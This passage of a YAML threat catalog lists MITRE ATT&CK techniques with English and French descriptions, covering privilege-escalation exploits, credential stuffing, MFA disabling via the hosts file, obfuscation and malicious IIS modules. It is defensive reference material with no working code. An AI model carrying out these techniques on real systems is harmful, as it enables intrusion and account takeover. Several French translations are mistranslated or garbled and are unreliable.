    translations:
      fr:
        name: "Exploitation \xE0 des fins d\u2019\xE9l\xE9vation de privil\xE8ges"
        description: "Les adversaires peuvent exploiter les vuln\xE9rabilit\xE9s logicielles\
          \ dans le but d\u2019\xE9lever leurs privil\xE8ges. L\u2019exploitation\
          \ d\u2019une vuln\xE9rabilit\xE9 logicielle se produit lorsqu\u2019un adversaire\
          \ profite d\u2019une erreur de programmation dans un programme, un service\
          \ ou dans le logiciel ou le noyau du syst\xE8me d\u2019exploitation lui-m\xEA\
          me pour ex\xE9cuter du code contr\xF4l\xE9 par l\u2019adversaire. Les constructions\
          \ de s\xE9curit\xE9 telles que les niveaux d\u2019autorisation entravent\
          \ souvent l\u2019acc\xE8s aux informations et l\u2019utilisation de certaines\
          \ techniques, de sorte que les adversaires devront probablement proc\xE9\
          der \xE0 une \xE9l\xE9vation de privil\xE8ges pour inclure l\u2019utilisation\
          \ d\u2019une exploitation logicielle pour contourner ces restrictions.\n\
          \nLorsqu\u2019il acc\xE8de initialement \xE0 un syst\xE8me, un adversaire\
          \ peut op\xE9rer dans le cadre d\u2019un processus \xE0 privil\xE8ges inf\xE9\
          rieurs, ce qui l\u2019emp\xEAche d\u2019acc\xE9der \xE0 certaines ressources\
          \ du syst\xE8me. Des vuln\xE9rabilit\xE9s peuvent exister, g\xE9n\xE9ralement\
          \ dans les composants du syst\xE8me d\u2019exploitation et les logiciels\
          \ fonctionnant g\xE9n\xE9ralement avec des autorisations plus \xE9lev\xE9\
          es, qui peuvent \xEAtre exploit\xE9es pour obtenir des niveaux d\u2019acc\xE8\
          s plus \xE9lev\xE9s sur le syst\xE8me. Cela peut permettre \xE0 quelqu\u2019\
          un de passer d\u2019autorisations non privil\xE9gi\xE9es ou de niveau utilisateur\
          \ \xE0 des autorisations SYSTEM ou root en fonction du composant vuln\xE9\
          rable. Cela peut \xE9galement permettre \xE0 un adversaire de passer d\u2019\
          un environnement virtualis\xE9, par exemple au sein d\u2019une machine virtuelle\
          \ ou d\u2019un conteneur, \xE0 l\u2019h\xF4te sous-jacent. Il peut s\u2019\
          agir d\u2019une \xE9tape n\xE9cessaire pour un adversaire compromettant\
          \ un syst\xE8me de point de terminaison correctement configur\xE9 et limitant\
          \ les autres m\xE9thodes d\u2019\xE9l\xE9vation de privil\xE8ges.\n\nLes\
          \ adversaires peuvent introduire un pilote vuln\xE9rable sign\xE9 sur une\
          \ machine compromise afin d\u2019exploiter la vuln\xE9rabilit\xE9 pour ex\xE9\
          cuter du code en mode noyau. Ce processus est parfois appel\xE9 Bring Your\
          \ Own Vulnerable Driver (BYOVD). (Citation : ESET InvisiMole, juin 2020)(Citation\
          \ : Unit42 AcidBox, juin 2020) Les adversaires peuvent inclure le pilote\
          \ vuln\xE9rable avec des fichiers livr\xE9s lors de l\u2019acc\xE8s initial\
          \ ou les t\xE9l\xE9charger sur un syst\xE8me compromis via [Transfert d\u2019\
          outil d\u2019entr\xE9e](https://attack.mitre.org/techniques/T1105) ou [Transfert\
          \ d\u2019outil lat\xE9ral](https://attack.mitre.org/techniques/T1570).\n\
          https://attack.mitre.org/techniques/T1068"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1564.009
    ref_id: T1564.009
    name: Resource Forking
    description: "Adversaries may abuse resource forks to hide malicious code or executables\
      \ to evade detection and bypass security applications. A resource fork provides\
      \ applications a structured way to store resources such as thumbnail images,\
      \ menu definitions, icons, dialog boxes, and code.(Citation: macOS Hierarchical\
      \ File System Overview) Usage of a resource fork is identifiable when displaying\
      \ a file\u2019s extended attributes, using <code>ls -l@</code> or <code>xattr\
      \ -l</code> commands. Resource forks have been deprecated and replaced with\
      \ the application bundle structure. Non-localized resources are placed at the\
      \ top level directory of an application bundle, while localized resources are\
      \ placed in the <code>/Resources</code> folder.(Citation: Resource and Data\
      \ Forks)(Citation: ELC Extended Attributes)\n\nAdversaries can use resource\
      \ forks to hide malicious data that may otherwise be stored directly in files.\
      \ Adversaries can execute content with an attached resource fork, at a specified\
      \ offset, that is moved to an executable location then invoked. Resource fork\
      \ content may also be obfuscated/encrypted until execution.(Citation: sentinellabs\
      \ resource named fork 2020)(Citation: tau bundlore erika noerenberg 2020)\n\
      https://attack.mitre.org/techniques/T1564/009"
    translations:
      fr:
        name: Recherche de ressources
        description: "Les adversaires peuvent abuser des fourches de ressources pour\
          \ masquer des codes malveillants ou des ex\xE9cutables afin d\u2019\xE9\
          chapper \xE0 la d\xE9tection et de contourner les applications de s\xE9\
          curit\xE9. Une fourche de ressources fournit aux applications un moyen structur\xE9\
          \ de stocker des ressources telles que des images miniatures, des d\xE9\
          finitions de menu, des ic\xF4nes, des bo\xEEtes de dialogue et du code.\
          \ (Citation : Pr\xE9sentation du syst\xE8me de fichiers hi\xE9rarchique\
          \ macOS) L\u2019utilisation d\u2019une fourche de ressource est identifiable\
          \ lors de l\u2019affichage des attributs \xE9tendus d\u2019un fichier, \xE0\
          \ <code>l\u2019aide des commandes ls -l@</code> ou <code>xattr -l</code>.\
          \ Les fourches de ressources ont \xE9t\xE9 d\xE9conseill\xE9es et remplac\xE9\
          es par la structure de bundle d\u2019applications. Les ressources non localis\xE9\
          es sont plac\xE9es dans le r\xE9pertoire de niveau sup\xE9rieur d\u2019\
          un bundle d\u2019applications, tandis que les ressources localis\xE9es sont\
          \ plac\xE9es dans le dossier <code>/Resources</code>. (Citation : Fourches\
          \ de ressources et de donn\xE9es)(Citation : Attributs \xE9tendus ELC)\n\
          \nLes adversaires peuvent utiliser des fourches de ressources pour masquer\
          \ des donn\xE9es malveillantes qui pourraient autrement \xEAtre stock\xE9\
          es directement dans des fichiers. Les adversaires peuvent ex\xE9cuter du\
          \ contenu avec une fourche de ressources attach\xE9e, \xE0 un d\xE9calage\
          \ sp\xE9cifi\xE9, qui est d\xE9plac\xE9 vers un emplacement ex\xE9cutable\
          \ puis appel\xE9. Le contenu de la fourche de ressource peut \xE9galement\
          \ \xEAtre obfusqu\xE9/chiffr\xE9 jusqu\u2019\xE0 l\u2019ex\xE9cution. (Citation\
          \ : ressource sentinellabs nomm\xE9e fork 2020)(Citation : tau bundlore\
          \ erika noerenberg 2020)\nhttps://attack.mitre.org/techniques/T1564/009"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1531
    ref_id: T1531
    name: Account Access Removal
    description: "Adversaries may interrupt availability of system and network resources\
      \ by inhibiting access to accounts utilized by legitimate users. Accounts may\
      \ be deleted, locked, or manipulated (ex: changed credentials) to remove access\
      \ to accounts. Adversaries may also subsequently log off and/or perform a [System\
      \ Shutdown/Reboot](https://attack.mitre.org/techniques/T1529) to set malicious\
      \ changes into place.(Citation: CarbonBlack LockerGoga 2019)(Citation: Unit42\
      \ LockerGoga 2019)\n\nIn Windows, [Net](https://attack.mitre.org/software/S0039)\
      \ utility, <code>Set-LocalUser</code> and <code>Set-ADAccountPassword</code>\
      \ [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlets may be\
      \ used by adversaries to modify user accounts. In Linux, the <code>passwd</code>\
      \ utility may be used to change passwords. Accounts could also be disabled by\
      \ Group Policy. \n\nAdversaries who use ransomware or similar attacks may first\
      \ perform this and other Impact behaviors, such as [Data Destruction](https://attack.mitre.org/techniques/T1485)\
      \ and [Defacement](https://attack.mitre.org/techniques/T1491), in order to impede\
      \ incident response/recovery before completing the [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486)\
      \ objective.\nhttps://attack.mitre.org/techniques/T1531"
    translations:
      fr:
        name: "Suppression de l\u2019acc\xE8s au compte"
        description: "Les adversaires peuvent interrompre la disponibilit\xE9 des\
          \ ressources syst\xE8me et r\xE9seau en inhibant l\u2019acc\xE8s aux comptes\
          \ utilis\xE9s par des utilisateurs l\xE9gitimes. Les comptes peuvent \xEA\
          tre supprim\xE9s, verrouill\xE9s ou manipul\xE9s (par exemple, des informations\
          \ d\u2019identification modifi\xE9es) pour supprimer l\u2019acc\xE8s aux\
          \ comptes. Les adversaires peuvent \xE9galement se d\xE9connecter et/ou\
          \ effectuer un [Arr\xEAt/Red\xE9marrage du syst\xE8me](https://attack.mitre.org/techniques/T1529)\
          \ pour mettre en place des modifications malveillantes. (Citation : Casier\
          \ CarbonBlackGoga 2019)(Citation : Unit42 LockerGoga 2019)\n\nSous Windows,\
          \ l\u2019utilitaire [Net](https://attack.mitre.org/software/S0039), les\
          \ applets de commande <code>Set-LocalUser</code> et <code>Set-ADAccountPassword</code>\
          \ [PowerShell](https://attack.mitre.org/techniques/T1059/001) peuvent \xEA\
          tre utilis\xE9es par des adversaires pour modifier des comptes d\u2019utilisateurs.\
          \ Sous Linux, l\u2019utilitaire <code>passwd</code> peut \xEAtre utilis\xE9\
          \ pour changer les mots de passe. Les comptes peuvent \xE9galement \xEA\
          tre d\xE9sactiv\xE9s par la strat\xE9gie de groupe. \n\nLes adversaires\
          \ qui utilisent un ransomware ou des attaques similaires peuvent d\u2019\
          abord effectuer ce comportement et d\u2019autres comportements d\u2019impact,\
          \ tels que [Destruction de donn\xE9es](https://attack.mitre.org/techniques/T1485)\
          \ et [D\xE9figuration](https://attack.mitre.org/techniques/T1491), afin\
          \ d\u2019entraver la r\xE9ponse/r\xE9cup\xE9ration d\u2019incident avant\
          \ d\u2019avoir atteint l\u2019objectif [Donn\xE9es chiffr\xE9es pour impact](https://attack.mitre.org/techniques/T1486).\n\
          https://attack.mitre.org/techniques/T1531"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1110.004
    ref_id: T1110.004
    name: Credential Stuffing
    description: 'Adversaries may use credentials obtained from breach dumps of unrelated
      accounts to gain access to target accounts through credential overlap. Occasionally,
      large numbers of username and password pairs are dumped online when a website
      or service is compromised and the user account credentials accessed. The information
      may be useful to an adversary attempting to compromise accounts by taking advantage
      of the tendency for users to use the same passwords across personal and business
      accounts.


      Credential stuffing is a risky option because it could cause numerous authentication
      failures and account lockouts, depending on the organization''s login failure
      policies.


      Typically, management services over commonly used ports are used when stuffing
      credentials. Commonly targeted services include the following:


      * SSH (22/TCP)

      * Telnet (23/TCP)

      * FTP (21/TCP)

      * NetBIOS / SMB / Samba (139/TCP & 445/TCP)

      * LDAP (389/TCP)

      * Kerberos (88/TCP)

      * RDP / Terminal Services (3389/TCP)

      * HTTP/HTTP Management Services (80/TCP & 443/TCP)

      * MSSQL (1433/TCP)

      * Oracle (1521/TCP)

      * MySQL (3306/TCP)

      * VNC (5900/TCP)


      In addition to management services, adversaries may "target single sign-on (SSO)
      and cloud-based applications utilizing federated authentication protocols,"
      as well as externally facing email applications, such as Office 365.(Citation:
      US-CERT TA18-068A 2018)

      https://attack.mitre.org/techniques/T1110/004'
    translations:
      fr:
        name: "Bourrage d\u2019identifiants"
        description: "Les adversaires peuvent utiliser les informations d\u2019identification\
          \ obtenues \xE0 partir de vidages de violations de comptes non li\xE9s pour\
          \ acc\xE9der aux comptes cibles par le biais du chevauchement des informations\
          \ d\u2019identification. Parfois, un grand nombre de paires de noms d\u2019\
          utilisateur et de mots de passe sont mises en ligne lorsqu\u2019un site\
          \ Web ou un service est compromis et que les informations d\u2019identification\
          \ du compte utilisateur sont consult\xE9es. Ces informations peuvent \xEA\
          tre utiles \xE0 un adversaire qui tente de compromettre des comptes en profitant\
          \ de la tendance des utilisateurs \xE0 utiliser les m\xEAmes mots de passe\
          \ pour leurs comptes personnels et professionnels.\n\nLe credential stuffing\
          \ est une option risqu\xE9e, car il peut entra\xEEner de nombreux \xE9checs\
          \ d\u2019authentification et de verrouillage de compte, en fonction des\
          \ politiques d\u2019\xE9chec de connexion de l\u2019organisation.\n\nEn\
          \ r\xE8gle g\xE9n\xE9rale, les services de gestion sur les ports couramment\
          \ utilis\xE9s sont utilis\xE9s lors du remplissage des informations d\u2019\
          identification. Les services les plus souvent cibl\xE9s sont les suivants\
          \ :\n\n* SSH (22/TCP)\n* Telnet (23/TCP)\n* FTP (21/TCP)\n* NetBIOS / SMB\
          \ / Samba (139/TCP et 445/TCP)\n* LDAP (389/TCP)\n* Kerberos (88/TCP)\n\
          * RDP / Terminal Services (3389/TCP)\n* Services de gestion HTTP/HTTP (80/TCP\
          \ et 443/TCP)\n* MSSQL (1433/TCP)\n* Oracle (1521/TCP)\n* MySQL (3306/TCP)\n\
          * VNC (5900/TCP)\n\nOutre les services de gestion, les adversaires peuvent\
          \ \xAB cibler l\u2019authentification unique (SSO) et les applications bas\xE9\
          es sur le cloud \xE0 l\u2019aide de protocoles d\u2019authentification f\xE9\
          d\xE9r\xE9s \xBB, ainsi que les applications de messagerie externes, telles\
          \ qu\u2019Office 365. (R\xE9f\xE9rence : US-CERT TA18-068A 2018)\nhttps://attack.mitre.org/techniques/T1110/004"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1027
    ref_id: T1027
    name: Obfuscated Files or Information
    description: "Adversaries may attempt to make an executable or file difficult\
      \ to discover or analyze by encrypting, encoding, or otherwise obfuscating its\
      \ contents on the system or in transit. This is common behavior that can be\
      \ used across different platforms and the network to evade defenses. \n\nPayloads\
      \ may be compressed, archived, or encrypted in order to avoid detection. These\
      \ payloads may be used during Initial Access or later to mitigate detection.\
      \ Sometimes a user's action may be required to open and [Deobfuscate/Decode\
      \ Files or Information](https://attack.mitre.org/techniques/T1140) for [User\
      \ Execution](https://attack.mitre.org/techniques/T1204). The user may also be\
      \ required to input a password to open a password protected compressed/encrypted\
      \ file that was provided by the adversary. (Citation: Volexity PowerDuke November\
      \ 2016) Adversaries may also use compressed or archived scripts, such as JavaScript.\
      \ \n\nPortions of files can also be encoded to hide the plain-text strings that\
      \ would otherwise help defenders with discovery. (Citation: Linux/Cdorked.A\
      \ We Live Security Analysis) Payloads may also be split into separate, seemingly\
      \ benign files that only reveal malicious functionality when reassembled. (Citation:\
      \ Carbon Black Obfuscation Sept 2016)\n\nAdversaries may also abuse [Command\
      \ Obfuscation](https://attack.mitre.org/techniques/T1027/010) to obscure commands\
      \ executed from payloads or directly via [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059).\
      \ Environment variables, aliases, characters, and other platform/language specific\
      \ semantics can be used to evade signature based detections and application\
      \ control mechanisms. (Citation: FireEye Obfuscation June 2017) (Citation: FireEye\
      \ Revoke-Obfuscation July 2017)(Citation: PaloAlto EncodedCommand March 2017)\n\
      https://attack.mitre.org/techniques/T1027"
    translations:
      fr:
        name: Fichiers ou informations obscurcis
        description: "Les adversaires peuvent tenter de rendre un ex\xE9cutable ou\
          \ un fichier difficile \xE0 d\xE9couvrir ou \xE0 analyser en chiffrant,\
          \ encodant ou obscurcissant son contenu sur le syst\xE8me ou en transit.\
          \ Il s\u2019agit d\u2019un comportement courant qui peut \xEAtre utilis\xE9\
          \ sur diff\xE9rentes plateformes et sur le r\xE9seau pour \xE9chapper aux\
          \ d\xE9fenses. \n\nLes charges utiles peuvent \xEAtre compress\xE9es, archiv\xE9\
          es ou chiffr\xE9es afin d\u2019\xE9viter d\u2019\xEAtre d\xE9tect\xE9es.\
          \ Ces charges utiles peuvent \xEAtre utilis\xE9es lors de l\u2019acc\xE8\
          s initial ou ult\xE9rieurement pour att\xE9nuer la d\xE9tection. Parfois,\
          \ l\u2019action d\u2019un utilisateur peut \xEAtre n\xE9cessaire pour ouvrir\
          \ et [D\xE9brouiller/D\xE9coder des fichiers ou des informations](https://attack.mitre.org/techniques/T1140)\
          \ pour [Ex\xE9cution par l\u2019utilisateur](https://attack.mitre.org/techniques/T1204).\
          \ L\u2019utilisateur peut \xE9galement \xEAtre tenu de saisir un mot de\
          \ passe pour ouvrir un fichier compress\xE9/chiffr\xE9 prot\xE9g\xE9 par\
          \ un mot de passe qui a \xE9t\xE9 fourni par l\u2019adversaire. (Citation\
          \ : Volexity PowerDuke, novembre 2016) Les adversaires peuvent \xE9galement\
          \ utiliser des scripts compress\xE9s ou archiv\xE9s, tels que JavaScript.\
          \ \n\nDes parties de fichiers peuvent \xE9galement \xEAtre encod\xE9es pour\
          \ masquer les cha\xEEnes de texte brut qui aideraient autrement les d\xE9\
          fenseurs \xE0 la d\xE9couverte. (Citation : Linux/Cdorked.A Analyse de s\xE9\
          curit\xE9 We Live) Les charges utiles peuvent \xE9galement \xEAtre divis\xE9\
          es en fichiers distincts, apparemment inoffensifs, qui ne r\xE9v\xE8lent\
          \ des fonctionnalit\xE9s malveillantes que lorsqu\u2019ils sont r\xE9assembl\xE9\
          s. (Citation : Obfuscation du noir de carbone septembre 2016)\n\nLes adversaires\
          \ peuvent \xE9galement abuser de [Command Obfuscation](https://attack.mitre.org/techniques/T1027/010)\
          \ pour masquer des commandes ex\xE9cut\xE9es \xE0 partir de charges utiles\
          \ ou directement via [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059).\
          \ Les variables d\u2019environnement, les alias, les caract\xE8res et d\u2019\
          autres s\xE9mantiques sp\xE9cifiques \xE0 la plate-forme ou au langage peuvent\
          \ \xEAtre utilis\xE9s pour \xE9chapper aux d\xE9tections bas\xE9es sur les\
          \ signatures et aux m\xE9canismes de contr\xF4le des applications. (R\xE9\
          f\xE9rence : FireEye Obfuscation juin 2017) (R\xE9f\xE9rence : FireEye Revoke-Obfuscation\
          \ juillet 2017)(Citation : PaloAlto EncodedCommand mars 2017)\nhttps://attack.mitre.org/techniques/T1027"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1556.006
    ref_id: T1556.006
    name: Multi-Factor Authentication
    description: "Adversaries may disable or modify multi-factor authentication (MFA)\
      \ mechanisms to enable persistent access to compromised accounts.\n\nOnce adversaries\
      \ have gained access to a network by either compromising an account lacking\
      \ MFA or by employing an MFA bypass method such as [Multi-Factor Authentication\
      \ Request Generation](https://attack.mitre.org/techniques/T1621), adversaries\
      \ may leverage their access to modify or completely disable MFA defenses. This\
      \ can be accomplished by abusing legitimate features, such as excluding users\
      \ from Azure AD Conditional Access Policies, registering a new yet vulnerable/adversary-controlled\
      \ MFA method, or by manually patching MFA programs and configuration files to\
      \ bypass expected functionality.(Citation: Mandiant APT42)(Citation: Azure AD\
      \ Conditional Access Exclusions)\n\nFor example, modifying the Windows hosts\
      \ file (`C:\\windows\\system32\\drivers\\etc\\hosts`) to redirect MFA calls\
      \ to localhost instead of an MFA server may cause the MFA process to fail. If\
      \ a \"fail open\" policy is in place, any otherwise successful authentication\
      \ attempt may be granted access without enforcing MFA. (Citation: Russians Exploit\
      \ Default MFA Protocol - CISA March 2022) \n\nDepending on the scope, goals,\
      \ and privileges of the adversary, MFA defenses may be disabled for individual\
      \ accounts or for all accounts tied to a larger group, such as all domain accounts\
      \ in a victim's network environment.(Citation: Russians Exploit Default MFA\
      \ Protocol - CISA March 2022)\nhttps://attack.mitre.org/techniques/T1556/006"
    translations:
      fr:
        name: Authentification multifacteur
        description: "Les adversaires peuvent d\xE9sactiver ou modifier les m\xE9\
          canismes d\u2019authentification multifacteur (MFA) pour permettre un acc\xE8\
          s persistant aux comptes compromis.\n\nUne fois que les adversaires ont\
          \ acc\xE9d\xE9 \xE0 un r\xE9seau en compromettant un compte sans MFA ou\
          \ en utilisant une m\xE9thode de contournement MFA telle que la [Multi-Factor\
          \ Authentication Request Generation](https://attack.mitre.org/techniques/T1621),\
          \ les adversaires peuvent exploiter leur acc\xE8s pour modifier ou d\xE9\
          sactiver compl\xE8tement les d\xE9fenses MFA. Cela peut se faire en abusant\
          \ des fonctionnalit\xE9s l\xE9gitimes, telles que l\u2019exclusion d\u2019\
          utilisateurs des strat\xE9gies d\u2019acc\xE8s conditionnel Azure AD, l\u2019\
          inscription d\u2019une nouvelle m\xE9thode MFA mais vuln\xE9rable/contr\xF4\
          l\xE9e par l\u2019adversaire ou en corrigeant manuellement les programmes\
          \ MFA et les fichiers de configuration pour contourner les fonctionnalit\xE9\
          s attendues. (R\xE9f\xE9rence : Mandiant APT42)(R\xE9f\xE9rence : Exclusions\
          \ de l\u2019acc\xE8s conditionnel Azure AD)\n\nPar exemple, la modification\
          \ du fichier hosts Windows ('C\_:\\windows\\system32\\drivers\\etc\\hosts')\
          \ pour rediriger les appels MFA vers localhost au lieu d\u2019un serveur\
          \ MFA peut entra\xEEner l\u2019\xE9chec du processus MFA. Si une politique\
          \ d'\xAB \xE9chec d\u2019ouverture \xBB est en place, toute tentative d\u2019\
          authentification r\xE9ussie peut se voir accorder l\u2019acc\xE8s sans appliquer\
          \ l\u2019authentification multifacteur. (Citation : Les Russes exploitent\
          \ le protocole MFA par d\xE9faut - CISA mars 2022) \n\nEn fonction de l\u2019\
          \xE9tendue, des objectifs et des privil\xE8ges de l\u2019adversaire, les\
          \ d\xE9fenses MFA peuvent \xEAtre d\xE9sactiv\xE9es pour des comptes individuels\
          \ ou pour tous les comptes li\xE9s \xE0 un groupe plus important, tels que\
          \ tous les comptes de domaine dans l\u2019environnement r\xE9seau d\u2019\
          une victime. (Citation : Les Russes exploitent le protocole MFA par d\xE9\
          faut - CISA mars 2022)\nhttps://attack.mitre.org/techniques/T1556/006"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1114.002
    ref_id: T1114.002
    name: Remote Email Collection
    description: 'Adversaries may target an Exchange server, Office 365, or Google
      Workspace to collect sensitive information. Adversaries may leverage a user''s
      credentials and interact directly with the Exchange server to acquire information
      from within a network. Adversaries may also access externally facing Exchange
      services, Office 365, or Google Workspace to access email using credentials
      or access tokens. Tools such as [MailSniper](https://attack.mitre.org/software/S0413)
      can be used to automate searches for specific keywords.

      https://attack.mitre.org/techniques/T1114/002'
    translations:
      fr:
        name: "Collecte d\u2019e-mails \xE0 distance"
        description: "Les adversaires peuvent cibler un serveur Exchange, Office 365\
          \ ou Google Workspace pour collecter des informations sensibles. Les adversaires\
          \ peuvent exploiter les informations d\u2019identification d\u2019un utilisateur\
          \ et interagir directement avec le serveur Exchange pour acqu\xE9rir des\
          \ informations au sein d\u2019un r\xE9seau. Les adversaires peuvent \xE9\
          galement acc\xE9der aux services Exchange externes, \xE0 Office 365 ou \xE0\
          \ Google Workspace pour acc\xE9der \xE0 la messagerie \xE9lectronique \xE0\
          \ l\u2019aide d\u2019informations d\u2019identification ou de jetons d\u2019\
          acc\xE8s. Des outils tels que [MailSniper](https://attack.mitre.org/software/S0413)\
          \ peuvent \xEAtre utilis\xE9s pour automatiser les recherches de mots-cl\xE9\
          s sp\xE9cifiques.\nhttps://attack.mitre.org/techniques/T1114/002"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1505.004
    ref_id: T1505.004
    name: IIS Components
    description: 'Adversaries may install malicious components that run on Internet
      Information Services (IIS) web servers to establish persistence. IIS provides
      several mechanisms to extend the functionality of the web servers. For example,
      Internet Server Application Programming Interface (ISAPI) extensions and filters
      can be installed to examine and/or modify incoming and outgoing IIS web requests.
      Extensions and filters are deployed as DLL files that export three functions:
      <code>Get{Extension/Filter}Version</code>, <code>Http{Extension/Filter}Proc</code>,
      and (optionally) <code>Terminate{Extension/Filter}</code>. IIS modules may also
      be installed to extend IIS web servers.(Citation: Microsoft ISAPI Extension
      Overview 2017)(Citation: Microsoft ISAPI Filter Overview 2017)(Citation: IIS
      Backdoor 2011)(Citation: Trustwave IIS Module 2013)


      Adversaries may install malicious ISAPI extensions and filters to observe and/or
      modify traffic, execute commands on compromised machines, or proxy command and
      control traffic. ISAPI extensions and filters may have access to all IIS web
      requests and responses. For example, an adversary may abuse these mechanisms
      to modify HTTP responses in order to distribute malicious commands/content to
      previously comprised hosts.(Citation: Microsoft ISAPI Filter Overview 2017)(Citation:
      Microsoft ISAPI Extension Overview 2017)(Citation: Microsoft ISAPI Extension
      All Incoming 2017)(Citation: Dell TG-3390)(Citation: Trustwave IIS Module 2013)(Citation:
      MMPC ISAPI Filter 2012)


      Adversaries may also install malicious IIS modules to observe and/or modify
      traffic. IIS 7.0 introduced modules that provide the same unrestricted access
      to HTTP requests and responses as ISAPI extensions and filters. IIS modules
      can be written as a DLL that exports <code>RegisterModule</code>, or as a .NET
      application that interfaces with ASP.NET APIs to access IIS HTTP requests.(Citation:
      Microsoft IIS Modules Overview 2007)(Citation: Trustwave IIS Module 2013)(Citation:
      ESET IIS Malware 2021)

      https://attack.mitre.org/techniques/T1505/004'
    translations:
      fr:
        name: Composants IIS
        description: "Les adversaires peuvent installer des composants malveillants\
          \ qui s\u2019ex\xE9cutent sur les serveurs Web IIS (Internet Information\
          \ Services) pour \xE9tablir la persistance. IIS fournit plusieurs m\xE9\
          canismes pour \xE9tendre les fonctionnalit\xE9s des serveurs Web. Par exemple,\
          \ des extensions et des filtres ISAPI (Internet Server Application Programming\
          \ Interface) peuvent \xEAtre install\xE9s pour examiner et/ou modifier les\
          \ requ\xEAtes Web IIS entrantes et sortantes. Les extensions et les filtres\
          \ sont d\xE9ploy\xE9s sous forme de fichiers DLL qui exportent trois fonctions\
          \ : <code>Get{Extension/Filter}Version</code>, <code>Http{Extension/Filter}Proc</code>\
          \ et (\xE9ventuellement) <code>Terminate{Extension/Filter}</code>. Des modules\
          \ IIS peuvent \xE9galement \xEAtre install\xE9s pour \xE9tendre les serveurs\
          \ Web IIS. (Citation : Pr\xE9sentation de l\u2019extension Microsoft ISAPI\
          \ 2017)(Citation : Pr\xE9sentation du filtre Microsoft ISAPI 2017)(Citation\
          \ : IIS Backdoor 2011)(Citation : Trustwave IIS Module 2013)\n\nLes adversaires\
          \ peuvent installer des extensions et des filtres ISAPI malveillants pour\
          \ observer et/ou modifier le trafic, ex\xE9cuter des commandes sur des machines\
          \ compromises ou commander et contr\xF4ler le trafic par proxy. Les extensions\
          \ et les filtres ISAPI peuvent avoir acc\xE8s \xE0 toutes les requ\xEAtes\
          \ et r\xE9ponses Web IIS. Par exemple, un adversaire peut abuser de ces\
          \ m\xE9canismes pour modifier les r\xE9ponses HTTP afin de distribuer des\
          \ commandes/contenus malveillants \xE0 des h\xF4tes pr\xE9c\xE9demment compos\xE9\
          s. (Citation : Pr\xE9sentation du filtre Microsoft ISAPI 2017)(Citation\
          \ : Pr\xE9sentation de l\u2019extension Microsoft ISAPI 2017)(Citation :\
          \ Microsoft ISAPI Extension All Incoming 2017)(R\xE9f\xE9rence : Dell TG-3390)(Citation\
          \ : Trustwave IIS Module 2013)(Citation : MMPC ISAPI Filter 2012)\n\nLes\
          \ adversaires peuvent \xE9galement installer des modules IIS malveillants\
          \ pour observer et/ou modifier le trafic. IIS 7.0 a introduit des modules\
          \ qui offrent le m\xEAme acc\xE8s illimit\xE9 aux requ\xEAtes et r\xE9ponses\
          \ HTTP que les extensions et les filtres ISAPI. Les modules IIS peuvent\
          \ \xEAtre \xE9crits sous la forme d\u2019une DLL qui exporte <code>RegisterModule</code>,\
          \ ou d\u2019une application .NET qui s\u2019interface avec ASP.NET API pour\
          \ acc\xE9der aux requ\xEAtes HTTP IIS. (Citation : Pr\xE9sentation des modules\
          \ Microsoft IIS 2007)(Citation : Trustwave IIS Module 2013)(Citation : ESET\
          \ IIS Malware 2021)\nhttps://attack.mitre.org/techniques/T1505/004"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1036.001
    ref_id: T1036.001
    name: Invalid Code Signature
    description: 'Adversaries may attempt to mimic features of valid code signatures
      to increase the chance of deceiving a user, analyst, or tool. Code signing provides
      a level of authenticity on a binary from the developer and a guarantee that
      the binary has not been tampered with. Adversaries can copy the metadata and
      signature information from a signed program, then use it as a template for an
      unsigned program. Files with invalid code signatures will fail digital signature
      validation checks, but they may appear more legitimate to users and security
      tools may improperly handle these files.(Citation: Threatexpress MetaTwin 2017)


      Unlike [Code Signing](https://attack.mitre.org/techniques/T1553/002), this activity
      will not result in a valid signature.

      https://attack.mitre.org/techniques/T1036/001'
    translations:
      fr:
        name: Signature de code non valide
        description: "Les adversaires peuvent tenter d\u2019imiter les caract\xE9\
          ristiques de signatures de code valides pour augmenter les chances de tromper\
          \ un utilisateur, un analyste ou un outil. La signature de code fournit\
          \ un niveau d\u2019authenticit\xE9 sur un binaire de la part du d\xE9veloppeur\
          \ et une garantie que le binaire n\u2019a pas \xE9t\xE9 alt\xE9r\xE9. Les\
          \ adversaires peuvent copier les m\xE9tadonn\xE9es et les informations de\
          \ signature d\u2019un programme sign\xE9, puis les utiliser comme mod\xE8\
          le pour un programme non sign\xE9. Les fichiers avec des signatures de code\
          \ non valides \xE9choueront aux contr\xF4les de validation des signatures\
          \ num\xE9riques, mais ils peuvent sembler plus l\xE9gitimes aux utilisateurs\
          \ et les outils de s\xE9curit\xE9 peuvent mal g\xE9rer ces fichiers. (Citation\
          \ : Threatexpress MetaTwin 2017)\n\nContrairement \xE0 [Code Signing](https://attack.mitre.org/techniques/T1553/002),\
          \ cette activit\xE9 n\u2019aboutira pas \xE0 une signature valide.\nhttps://attack.mitre.org/techniques/T1036/001"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1564.006
    ref_id: T1564.006
    name: Run Virtual Instance
    description: 'Adversaries may carry out malicious operations using a virtual instance
      to avoid detection. A wide variety of virtualization technologies exist that
      allow for the emulation of a computer or computing environment. By running malicious
      code inside of a virtual instance, adversaries can hide artifacts associated
      with their behavior from security tools that are unable to monitor activity
      inside the virtual instance. Additionally, depending on the virtual networking
      implementation (ex: bridged adapter), network traffic generated by the virtual
      instance can be difficult to trace back to the compromised host as the IP address
      and hostname might not match known values.(Citation: SingHealth Breach Jan 2019)


      Adversaries may utilize native support for virtualization (ex: Hyper-V) or drop
      the necessary files to run a virtual instance (ex: VirtualBox binaries). After
      running a virtual instance, adversaries may create a shared folder between the
      guest and host with permissions that enable the virtual instance to interact
      with the host file system.(Citation: Sophos Ragnar May 2020)

      https://attack.mitre.org/techniques/T1564/006'
    translations:
      fr:
        name: "Ex\xE9cuter une instance virtuelle"
        description: "Les adversaires peuvent effectuer des op\xE9rations malveillantes\
